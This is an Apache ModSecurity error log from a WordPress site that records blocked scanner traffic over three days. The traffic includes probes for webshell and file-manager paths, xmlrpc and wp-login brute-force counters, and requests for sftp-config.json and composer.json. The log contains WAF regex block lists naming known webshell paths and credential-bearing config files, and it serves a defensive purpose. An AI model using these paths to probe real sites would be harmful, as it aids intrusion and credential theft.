[Mon Jan 19 19:03:15.078209 2026] [:error] [pid 45562:tid 45600] [client 68.155.153.238:24021] [client 68.155.153.238] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/fm.php"] [unique_id "aW4PczoUil_kwpvtDW7IFgAAAEY"]
[Mon Jan 19 19:03:17.943289 2026] [:error] [pid 36216:tid 36218] [client 68.155.153.238:24005] [client 68.155.153.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "aW4PdcIpfKKs9fzB-yB1xAAAAUA"]
[Mon Jan 19 19:03:19.711508 2026] [:error] [pid 47089:tid 47111] [client 68.155.153.238:24025] [client 68.155.153.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "aW4PdxlIzijVNfdIsZ7kvQAAARQ"]
[Mon Jan 19 19:03:24.084299 2026] [:error] [pid 45561:tid 45587] [client 68.155.153.238:24061] [client 68.155.153.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "aW4PfK4ONSZn4nkTayJQjAAAABU"]
[Mon Jan 19 19:03:27.163451 2026] [:error] [pid 36216:tid 36227] [client 68.155.153.238:23961] [client 68.155.153.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "aW4Pf8IpfKKs9fzB-yB13QAAAUk"]
[Mon Jan 19 19:03:45.228527 2026] [:error] [pid 45562:tid 45604] [client 68.155.153.238:23944] [client 68.155.153.238] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 68.155.153.238, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aW4PkToUil_kwpvtDW7IJwAAAEo"]
[Mon Jan 19 19:08:06.535134 2026] [:error] [pid 45563:tid 45637] [client 82.165.82.1:45644] [client 82.165.82.1] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 82.165.82.1, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aW4QlpI4--OKA-PqumyPIwAAAJA"]
[Mon Jan 19 19:08:08.267118 2026] [:error] [pid 45563:tid 45631] [client 82.165.82.1:45644] [client 82.165.82.1] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 82.165.82.1, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aW4QmJI4--OKA-PqumyPLQAAAIo"], referer: https://gigfragments.org/wp-login.php
[Mon Jan 19 20:03:55.116396 2026] [:error] [pid 45563:tid 45644] [client 43.130.111.40:50222] [client 43.130.111.40] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aW4dq5I4--OKA-PqumyfZwAAAJc"]
[Tue Jan 20 00:44:46.955897 2026] [:error] [pid 45561:tid 45573] [client 223.244.35.77:38402] [client 223.244.35.77] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aW5ffq4ONSZn4nkTayKjZgAAAAc"]
[Tue Jan 20 01:24:47.948301 2026] [:error] [pid 45561:tid 45569] [client 84.34.147.39:39364] [client 84.34.147.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 84.34.147.39, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aW5o364ONSZn4nkTayKw_QAAAAM"]
[Tue Jan 20 01:24:51.196450 2026] [:error] [pid 45562:tid 45617] [client 84.34.147.39:39366] [client 84.34.147.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 84.34.147.39, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aW5o4zoUil_kwpvtDW4UFQAAAFc"]
[Tue Jan 20 01:24:53.844800 2026] [:error] [pid 36216:tid 36237] [client 84.34.147.39:35672] [client 84.34.147.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 84.34.147.39, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aW5o5cIpfKKs9fzB-yDy7gAAAVM"]
[Tue Jan 20 03:53:42.570036 2026] [:error] [pid 51680:tid 51742] [client 45.95.146.83:63204] [client 45.95.146.83] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.95.146.83, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aW6LxnkU9YB08u0q-u28uAAAAIQ"], referer: https://gigfragments.org/
[Tue Jan 20 03:53:48.582659 2026] [:error] [pid 51680:tid 51751] [client 45.95.146.83:63577] [client 45.95.146.83] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.95.146.83, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aW6LzHkU9YB08u0q-u28vQAAAI0"], referer: https://gigfragments.org/wp-login.php?action=register
[Tue Jan 20 06:18:33.908822 2026] [:error] [pid 17620:tid 17641] [client 198.251.89.157:37548] [client 198.251.89.157] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 198.251.89.157, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aW6tuVIxOy_FGGR2biuaGgAAAAw"]
[Tue Jan 20 06:18:38.299499 2026] [:error] [pid 17621:tid 17666] [client 198.251.89.157:37558] [client 198.251.89.157] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 198.251.89.157, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aW6tvqQxAikbLpJvDI7jlwAAAEg"]
[Tue Jan 20 06:18:43.174396 2026] [:error] [pid 17621:tid 17682] [client 198.251.89.157:50256] [client 198.251.89.157] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 198.251.89.157, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aW6tw6QxAikbLpJvDI7jnAAAAFg"]
[Tue Jan 20 06:43:08.391869 2026] [:error] [pid 17728:tid 17750] [client 94.141.5.251:37380] [client 94.141.5.251] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 94.141.5.251, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aW6zfHHKpzeaRGBjHRyGLAAAANI"]
[Tue Jan 20 06:43:23.291644 2026] [:error] [pid 17621:tid 17659] [client 94.141.5.251:40764] [client 94.141.5.251] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 94.141.5.251, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aW6zi6QxAikbLpJvDI7r6QAAAEE"]
[Tue Jan 20 07:08:37.695938 2026] [:error] [pid 17621:tid 17666] [client 103.9.77.167:21876] [client 103.9.77.167] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.9.77.167, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aW65daQxAikbLpJvDI7xGAAAAEg"]
[Tue Jan 20 07:08:49.755464 2026] [:error] [pid 35048:tid 35073] [client 103.9.77.167:21882] [client 103.9.77.167] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.9.77.167, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aW65gULtSXQ_M3-vlIbkNAAAARY"]
[Tue Jan 20 12:53:36.766138 2026] [:error] [pid 8416:tid 8421] [client 106.54.62.156:44392] [client 106.54.62.156] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aW8KUDN6cbQyA2ecQV2TxQAAAwM"]
[Tue Jan 20 13:01:37.108845 2026] [:error] [pid 8416:tid 8432] [client 65.181.113.241:53760] [client 65.181.113.241] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.181.113.241, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aW8MMTN6cbQyA2ecQV2U8AAAAw4"]
[Tue Jan 20 13:01:39.862411 2026] [:error] [pid 54260:tid 54314] [client 65.181.113.241:53768] [client 65.181.113.241] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.181.113.241, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aW8MM9g7jS3jmpUN0WDjNAAAAUY"], referer: https://gigfragments.org/wp-login.php
[Tue Jan 20 13:30:15.195307 2026] [:error] [pid 56360:tid 56365] [client 103.77.107.178:61304] [client 103.77.107.178] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/sftp-config.json"] [unique_id "aW8S501J8CD1rR-wXXv8_wAAAQM"]
[Tue Jan 20 13:30:15.583406 2026] [:error] [pid 54261:tid 54343] [client 103.77.107.178:49218] [client 103.77.107.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.vscode/sftp.json"] [unique_id "aW8S5wESZyr5alDl9Tu4VgAAAcg"]
[Tue Jan 20 13:34:19.071430 2026] [:error] [pid 56291:tid 56307] [client 207.180.221.18:55476] [client 207.180.221.18] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 207.180.221.18, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aW8T27XgW_1T5Nikxa262AAAAEw"]
[Tue Jan 20 13:34:33.055979 2026] [:error] [pid 56326:tid 56339] [client 207.180.221.18:55396] [client 207.180.221.18] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 207.180.221.18, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aW8T6RA6mi8Uwf45Uy_U6gAAAMs"], referer: https://gigfragments.org/wp-login.php
[Tue Jan 20 13:59:39.041902 2026] [:error] [pid 63647:tid 63651] [client 162.241.216.62:42084] [client 162.241.216.62] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.216.62, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aW8Zy1UaYw1xHOoaFFLGeQAAAgI"]
[Tue Jan 20 13:59:41.911812 2026] [:error] [pid 63647:tid 63672] [client 162.241.216.62:42084] [client 162.241.216.62] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.216.62, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aW8ZzVUaYw1xHOoaFFLGfAAAAhc"], referer: https://gigfragments.org/wp-login.php
[Tue Jan 20 14:23:32.798759 2026] [:error] [pid 56360:tid 56362] [client 43.157.46.118:60676] [client 43.157.46.118] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aW8fZE1J8CD1rR-wXXsM5wAAAQA"]
[Tue Jan 20 15:21:41.798321 2026] [:error] [pid 54259:tid 54292] [client 157.15.40.62:62900] [client 157.15.40.62] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/txets.php"] [unique_id "aW8tBQ2q1USrePnOoFTEuwAAAI8"]
[Tue Jan 20 15:21:44.613302 2026] [:error] [pid 54260:tid 54333] [client 157.15.40.62:63177] [client 157.15.40.62] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/txets.php"] [unique_id "aW8tCNg7jS3jmpUN0WDzWgAAAVc"]
[Tue Jan 20 15:21:48.264598 2026] [:error] [pid 8455:tid 8459] [client 157.15.40.62:63632] [client 157.15.40.62] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/txets.php"] [unique_id "aW8tDIJiHdPVtruynXCAUQAAA0I"]
[Tue Jan 20 15:21:49.906675 2026] [:error] [pid 8416:tid 8422] [client 157.15.40.62:63679] [client 157.15.40.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/txets.php"] [unique_id "aW8tDTN6cbQyA2ecQV2pOQAAAwQ"]
[Tue Jan 20 15:21:53.499427 2026] [:error] [pid 56326:tid 56339] [client 157.15.40.62:63979] [client 157.15.40.62] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/schallfuns.php"] [unique_id "aW8tERA6mi8Uwf45Uy_pgAAAAMs"]
[Tue Jan 20 15:21:54.080148 2026] [:error] [pid 56360:tid 56382] [client 157.15.40.62:64020] [client 157.15.40.62] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/postnews.php"] [unique_id "aW8tEk1J8CD1rR-wXXsbHQAAARQ"]
[Tue Jan 20 15:21:57.649149 2026] [:error] [pid 54260:tid 54308] [client 157.15.40.62:64257] [client 157.15.40.62] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/postnews.php"] [unique_id "aW8tFdg7jS3jmpUN0WDzZgAAAUA"]
[Tue Jan 20 15:22:00.718284 2026] [:error] [pid 56360:tid 56380] [client 157.15.40.62:64432] [client 157.15.40.62] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/postnews.php"] [unique_id "aW8tGE1J8CD1rR-wXXsbNwAAARI"]
[Tue Jan 20 15:22:03.709649 2026] [:error] [pid 56326:tid 56344] [client 157.15.40.62:64464] [client 157.15.40.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/postnews.php"] [unique_id "aW8tGxA6mi8Uwf45Uy_pvAAAANA"]
[Tue Jan 20 19:31:26.102144 2026] [:error] [pid 56291:tid 56314] [client 152.42.222.25:55451] [client 152.42.222.25] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/composer.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/composer.json"] [unique_id "aW9njrXgW_1T5Nikxa3moAAAAFM"]
[Tue Jan 20 20:46:44.484183 2026] [:error] [pid 56326:tid 56343] [client 43.157.158.178:38110] [client 43.157.158.178] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aW95NBA6mi8Uwf45Uy8ykAAAAM8"]
[Wed Jan 21 01:36:35.183223 2026] [:error] [pid 54259:tid 54288] [client 182.44.67.97:42574] [client 182.44.67.97] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aW-9Iw2q1USrePnOoFQkOwAAAIs"]
[Wed Jan 21 03:02:19.335047 2026] [:error] [pid 56360:tid 56364] [client 119.28.140.106:55964] [client 119.28.140.106] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aW_RO01J8CD1rR-wXXuaagAAAQI"]
[Wed Jan 21 03:49:13.228809 2026] [:error] [pid 21563:tid 21584] [client 4.194.64.69:19847] [client 4.194.64.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cong.php"] [unique_id "aW_cORZq__dTorabEox11gAAANM"]
[Wed Jan 21 03:49:13.581282 2026] [:error] [pid 21455:tid 21505] [client 4.194.64.69:17816] [client 4.194.64.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cong.php"] [unique_id "aW_cOYpOKALCSo1URZErwwAAAE4"]
[Wed Jan 21 03:49:13.931292 2026] [:error] [pid 21454:tid 21474] [client 4.194.64.69:5574] [client 4.194.64.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cong.php"] [unique_id "aW_cOTwp5UZmMFzY2bpDYgAAAAo"]
[Wed Jan 21 03:49:14.289044 2026] [:error] [pid 21563:tid 21567] [client 4.194.64.69:17716] [client 4.194.64.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cong.php"] [unique_id "aW_cOhZq__dTorabEox11wAAAMI"]
[Wed Jan 21 04:35:54.221594 2026] [:error] [pid 21563:tid 21567] [client 43.135.182.43:48718] [client 43.135.182.43] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aW_nKhZq__dTorabEoyH4AAAAMI"]
[Wed Jan 21 06:03:56.701828 2026] [:error] [pid 21456:tid 21519] [client 103.65.236.149:56965] [client 103.65.236.149] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/sftp-config.json"] [unique_id "aW_7zAKyVQ9Ob2YxRAqNJAAAAIE"]
[Wed Jan 21 07:20:11.238399 2026] [:error] [pid 21456:tid 21529] [client 4.190.210.95:3020] [client 4.190.210.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/contents.php/lv.php"] [unique_id "aXANqwKyVQ9Ob2YxRAqipwAAAIs"]
[Wed Jan 21 07:20:11.729125 2026] [:error] [pid 59863:tid 59870] [client 4.190.210.95:3032] [client 4.190.210.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/contents.php/lv.php"] [unique_id "aXANq7HQ1zVZ4yLuI-wLfwAAAQM"]
